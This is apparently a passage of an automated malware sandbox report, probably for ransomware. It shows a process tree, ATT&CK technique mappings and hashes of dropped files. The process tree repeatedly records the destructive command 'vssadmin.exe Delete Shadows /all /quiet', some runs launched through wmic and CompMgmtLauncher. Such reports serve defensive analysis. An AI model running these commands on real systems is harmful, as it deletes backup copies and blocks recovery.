  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:236

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:992

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2696

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1340

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1856

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2136

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1620

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2440

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:844

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2228

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2260
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2204
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2704

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2024

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1240

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2644
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:580
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2692

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
14265faa6c0b165b8e201d5129dc20f7

SHA1
e5ae4c366d3e1b5225f260b8d67ddeb18c4f8a68

SHA256
c9c80d323b3d78afc7e237a2d84474b5304509bfef6043563b03a934e950435f

SHA512
1e93a885553e16d44165651af8452fe3965d5892e6c6dd1f4318cd62efaeb03016e7a977a31c1daf4646dd04e31ca6880409b0e6f6328b30507705f09de65ba7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
95fc4f6823b883525efd4f5fd89cce0a

SHA1
2445ff79beb4ec49507ee552029433d3f9729bb8

SHA256
07de3613817d3b232c4cfbf113cfb3bee99e895d450fbc8d6a8ca48c0a4e604c

SHA512
4e868571dc618936f85ca75386b6fe583f05c03855960e3b9e170a1605efc0ea83e1efd4383ebcdc53f702ebb0db19b206fd473654bc72ff3496a45a0a997d74

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f32323fae3c2898741d9ebc154bcff1d

SHA1
db68328a1b1cc1c3eae4d9b5845c69f56768f65f

SHA256
48944175f8d83cfe59ef0abadbcca9999b37859ae77cc9ad1b448c4b553659fe

SHA512
a7540eae79126b71a39a3fa81976d984ef2f7cb92439085c47d08e2500194ad3b77964d37579743f591bd8c1cfaef1e68ae340385f51fc32f5cabb0ee7faf7ad

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
01ffb49e06d9cbde4d5c9af0948b7689

SHA1
105c12630b30d75c0874557598e1b513d8e86ebc

SHA256
bd7b4f644caa2eae594ce42cfad8acaa31a1109fd0b3e2d1049ab0a158da470d

SHA512
20990b75618446c6b446067328b95a8aa677365fe852aed142fe43198f4a3335c9e34d03df967d8372bab1e06976b59d7d883993be81647ffd866969b57e36a9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
6ea2dad8a36a8b612868a412b1159e62

SHA1
3fc30aab213fd8c61fcc8eb158910e48ecba528a

SHA256
4ba2487d421bfc1259fd2c66bb8fd9193700a2668f616b06c0cc790edeb2ede6

SHA512
2cd82c73eaa50d9c8caa02238fc2a2a180d46262fa6602f11ab9fed49fe3168c66e783d198c2cbcce49f3306e30745efd2e634ec71f865bfa9557bf683a049e8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
2ec3238d42140ce86ca272dc58cb57f3

SHA1
69c2473bb4dca1edc97ebeb2b5b2e5cea40c94a5

SHA256
6419ebd6a80c656b5fa2a01323338a9ed86d74f6fa6cf6c56e577b72f9f55c32

SHA512
b62d16af38097c7ab6f99fed1f1d3b1892e0f47ff183de8cb54dc81d9918be65e0d734faedd53a2ef9e7946f411a6d76d19414a6ecbd2985bb7d94584ed13282

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
1c88b24a1cc2c4bd187c27e9ed1d90d6

SHA1
5db5cdeabf6fcde26fe942b93c460cb001d461db

SHA256
d6e93a68ecdaad4377378f01b0ae41415d845442d2cca24173fb7cfcf5ed2e79

SHA512
526533cec09d36b45058bc3683cb9ff6fab9115f9492b46644778998b85cd2cd466e5af0eb0d7fe8c53fe8eb5e989502d592c2aec0c551692b91591840b6b008

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
60b261c401e4285b6d9bbe0e946028e1

SHA1
8320f63ac7a6869fb0ee953b8c0d376f27c80255

SHA256
7510f90d2c692f3e69293a73731be12437c8ccad0d1467102682d48ebe2b5090

SHA512
1dc7b3fda0937e8ea8d5c88b978bf9ebbff766acc71bd4e5010d113e8deeec8fb310ad6c42cee1c9160c828d7aa09b0365717909b7151560c50daf36bbae6173

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
8957ca7dc380e31dca817171e11ad422

SHA1
1f16c5eac4d922d8e71fa9adc7131c0190816a9c

SHA256
fac92382cf3640ad0720e766da26ab125b7f822a6efe1fe7823f67c716cdea4b

SHA512
d87296ea41ab6e2dcfcb77ba97944dd6f9082ba2a3f839c9afee0268d3d595d1b181de314f42264031d9157bc63f1425e7d244cadd4a0fc5a1ba0a6b694c868d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ef06d3d9f73df2ef99b2b62c46d23324

SHA1
3179b1ef268e698f133f9c0ea6a0d98af00ed36d

SHA256
0d227c164ce65f59cf6207168d67577e46b98f59b1ae6a62167b718dcf5e2240

SHA512
60fd7c57676876d1726881393906b0cc71798b7955ebf04e64685720b8057a94b7f7297c1e5be00af208c658a1b9dbc961d6d36511b412924f4a652b9118438c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
27d56cb878bcb14add600eb1bdf9d2ff

SHA1
ab64e689f2f21bfcbafe1a56d4cc6814ff9d69dd

SHA256
48b912b2995ce33eaf80df2b6912d654a47be8387afb36bd5f4896145309f30a

SHA512
1fc0b3a73a23cd0c830ba71c00b2ea931028fe14e918c2ab091f4366146929d1966a7d0e4e8e84be9697ebe7f1b91f78eb327d9a96404d38738d4dcf47a8bec9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
454faccd17bf24bd0010565dcc7be13a

SHA1
a3ca6a3c7b6339eabbed221d12756361fbc0be46

SHA256
8d7972fa1995fba5291876bed57063b010b130fef6c9ff9c9fcdf800531c819b

SHA512
9da6c2210bacf732498f2bc1ac5203b90a0fe014a5e93a8c9498f74292dc1b3f7e0647ef93c359d622a88a159688c787395305d1bd15355b81e6090f6a37e06b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
616500c067bb434d6ec4b5765501d955

SHA1
ff930e69454f4029f990ae439bb821333f7a0aba

SHA256
bdd4b3afa2f2d27166398ffa04713872eb2662b5379a7e0bd9c83e45e9eb9c0e

SHA512
4a80f11b4a07a7965eadcf5777adf85614e629ca3d8cfbce8855226c1f65dfde585a2bdf4215c577e0ea8b570c26441d8aa2b4b9b34ad30dc5127d2ffbac526f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
39b29b600153b22dbfcfc756b9881ff3

SHA1
936da847998a92a853ff413568db831ffd47753d

SHA256
b74c92409f7cf2c8c1301b96fcaff8069536108e8e259f169fb6bc2914992a22

SHA512
1978ab6bd9c0b17c0bfad41146e32c96a08cc3b693e925a26b70851f36fd12c331863db3819761f8b3fd1243b39eab3ad0276699c99305f098b767e8e1d0edaf

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0c313607a3dc9ee6a72010389474aedb

SHA1
6808d53bd9fe2817a7e96fc99575aadb8bf5baef

SHA256
848bc2864c38c0a9d68eb8294d1d0cf57c797d32990ba1dbe8121e11fd8bd9f3

SHA512
3cee1d23aed0c2d54fdcb87eebbcf16c84cce169991b2af6aea8e2297841a163e0ec60ff0fcb02231da840cc6548ae5da810349db11f0039071b13e0126cab73

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
278343698724c2bc83aa1b47df0a4afa

SHA1
0b96ccec932a0479ec8b2534913e8c3cc6a9f994

SHA256
b93f4ae736b953147f63796dcdda63c9c8f14d97690c4ce5bb0bab2bc7fa4305

SHA512
5a47316fb486dd377ad02e4d069ba4a06827eb578d95e91f1dcb7f4104103c09e9191ab90d8fd3f78228edf3b362e299e4125628e01b1b8918e2f16bef86d567

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5a196faa146a87bc68cb41f64afb4658

SHA1
1290a17cfef6b0595cd19006c159eff15d937dd1

SHA256
285fb93409e83dc2339fb9547ff578f75b3a62329c24cc94678ea19a2569480c

SHA512
2f416a54a5bda3f8c28539b3d69feb740755da1ecd504ebb2f5f64ca6f3846dfd05bc792ddc4b71392f779aead9b433b4a5f92bed9274ccdf415b1f9e0970859

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
798b232265c15fad76b5e1bf7376a880

SHA1
f3e573016ba9876b1051bcf405476922b7751452

SHA256
30537779df1c7c9066a3bb39e6ff859b150fa0b29438292236a3c039ae2ce75d

SHA512
899078c3c511675e9155e8cd3fa70a6006fbaca3190553b02078732d0fdfc658b2ed0ffd8151431d9b7ab582a65c64f5b7f23ed0d8778abd04734109cd8ada59

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0d0737c7814266fa64e86e618fdc3871

SHA1
3670e1c2dfb36a95ba638df2b4c3b6fc8c56a922

SHA256
cc4d6fc7a91bbeb172c6a168f47e86daf4f255cbb2da1bf900387c09632a01a2

SHA512
0b87bebccd414419ca251fe55cedac0b96b23c2644698a5c7c1702e63aa7ad2fd4fcd638f0b79ae001f0d9061d964ba1966f4b555a73860f61a9bb76f6f2bc44

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab17A.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar258.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
cf6c0897802ebdb0a67c2fa5a478a570

SHA1
76a1374865972151672cc8be0bcb84d290a204bf

SHA256
1c706f882543ab94da63b6181500d7d8296ab241df4aca9a3c0750a9fe30f8aa

SHA512
c197446faa6005bb2bba2f5382703e408715d4b0929ccf93ea26f9716b9a21edb184c2353e0676b8c2bb87fba4c980499826195e6ed6b8ba7e398c1e05926a22

Download Submit
memory/1112-12-0x00000000001E0000-0x00000000001E5000-memory.dmp

Filesize
20KB

Download
memory/2216-327-0x00000000020B0000-0x00000000021B0000-memory.dmp

Filesize
1024KB

Download
memory/2216-328-0x00000000020B0000-0x00000000021B0000-memory.dmp

Filesize
1024KB

Download
memory/2568-0-0x0000000001E20000-0x00000000020B1000-memory.dmp

Filesize
2.6MB

Download
memory/2568-7-0x00000000003B0000-0x00000000003B1000-memory.dmp

Filesize
4KB

Download
memory/2568-9-0x00000000020D0000-0x00000000020D1000-memory.dmp

Filesize
4KB

Download
memory/2568-6-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/2568-5-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/2568-4-0x00000000002D0000-0x00000000002D1000-memory.dmp

Filesize
4KB

Download
memory/2568-3-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/2568-2-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/2568-1-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/2568-8-0x00000000020C0000-0x00000000020C1000-memory.dmp

Filesize
4KB

Download
memory/2568-10-0x00000000020E0000-0x00000000020E1000-memory.dmp

Filesize
4KB

Download
memory/2568-11-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download